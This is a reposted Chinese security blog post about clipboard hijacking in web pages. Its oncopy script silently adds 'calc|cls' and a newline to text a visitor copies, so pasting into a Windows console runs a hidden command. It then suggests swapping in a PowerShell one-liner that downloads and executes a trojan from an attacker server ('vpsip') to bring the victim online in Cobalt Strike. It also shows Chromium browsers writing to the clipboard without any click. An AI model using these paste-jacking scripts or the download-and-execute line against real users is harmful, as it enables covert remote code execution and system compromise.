有趣的剪切板

admin 2022年8月28日19:18:48安全闲碎评论0 views2209字阅读7分21秒阅读模式



有趣的剪切板


       相信大家肯定在csdn看过不少文章,并且有些代码可能要复制下来,但是有个小细节,就是每次复制代码的时候,总是会多出两行,但我们并没有在原文中看到,如下

有趣的剪切板

        找了一下资料,发现是oncopy事件

有趣的剪切板

        那我们可以干啥呢,自己建议搭建一个页面

有趣的剪切板

        复制完成粘贴到cmd中,可以看下效果

有趣的剪切板

        为啥会弹出计算器呢?我们看源码

        我们使用oncopy事件写一个小脚本

有趣的剪切板

<!doctype html><html><head>    <title>TEST</title>    <meta charset="utf-8"></head><body>    <h2>TESTZAC:</h2>    <pre id="code">whoami</pre>    <script>      code.oncopy = function(e) {        var text = code.textContent        var s = 'calc|cls' +'n' + text        navigator.clipboard.writeText(s)      }    </script></body></html>

        所以实际复制的内容是

        calc|cls

        whoami

        可以复制到微信聊天框验证下

有趣的剪切板

        而换行符就相当于自动执行了,使用cls清理当前cmd的界面,所以这会让目标以为复制了正常的whoami指令,但实际我们偷偷的执行了calc,那么实战呢?我们可以把calc指令换成cs的指令

        我们完全可以用以下命令上线(手里目前没vps没复现,理论存在,可自行测试)

powershell set-alias -name test -value Invoke-Expression;test(New-Object Net.WebClient).DownloadString('http://vpsip/木马地址')|clswhoami

        不过这个思路早在6月份就发星球里面了

有趣的剪切板

        但是为什么今天我又把这个玩意拉出来炒冷饭呢,因为最近又发现一个好玩的东西,正常情况下,一个站长想要访问到用户的剪切板,是需要1click的,也就是点击下图的copy text,才可以将Zac复制到剪切板当中(方法1)

有趣的剪切板


有趣的剪切板

<p>Zac</p><button id="btn-copy">copy text</button><script>    const copyBtn = document.querySelector('#btn-copy');    copyBtn.addEventListener(      'click',      async function () {        try {          await navigator.clipboard.writeText(            `${document.querySelector('p').textContent}!`          );        } catch (e) {             console.error('Failed to copy: ', e);        }      },      false    );</script>

        但是最近网上冲浪发现这个限制被删除了,本身我们使用原来的函数navigator.clipboard.writeText(),是会进行警告的,如下图(方法2))

有趣的剪切板

        但是在新规范发布之后,我们可以惊奇的发现,当访问站点时无感写入剪切板了(经过测试,chrome和edge使用chromium内核的可以,但firefox和我小米自带的浏览器不行,可以使用谷歌访问webplatform.news这个测试站点)

有趣的剪切板


有趣的剪切板

<!DOCTYPE html><html lang="zh"><head><metacharset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible"content="ie=edge"><title></title></head><body><div>Zactest</div>  <script>try {  let type = 'text/plain';  let blob = new Blob(    [     'Zactest',    ],    { type }  );  let item = new ClipboardItem({[type]: blob });  navigator.clipboard.write([item]);} catch (err) {}</script></body></html>

        新规范原地址https://w3c.github.io/clipboard-apis/#dom-clipboard-writetext

有趣的剪切板

      可以看到是在6.17号发的这个commit

有趣的剪切板

        不过这个我没有想出来什么比较奇特的利用思路,比如写入剪切板引个流,或者当个娱乐圈黑客弄个hack by xxxx有趣的剪切板,当然如果有骚操作欢迎找我一起讨论



宣传页

ZAC安全

本人微信:zacaq999 
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点

安全宝典欢迎各位大佬以投稿方式免费进入!


有趣的剪切板

原文始发于微信公众号(ZAC安全):有趣的剪切板

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日19:18:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  有趣的剪切板 http://cn-sec.com/archives/1259700.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: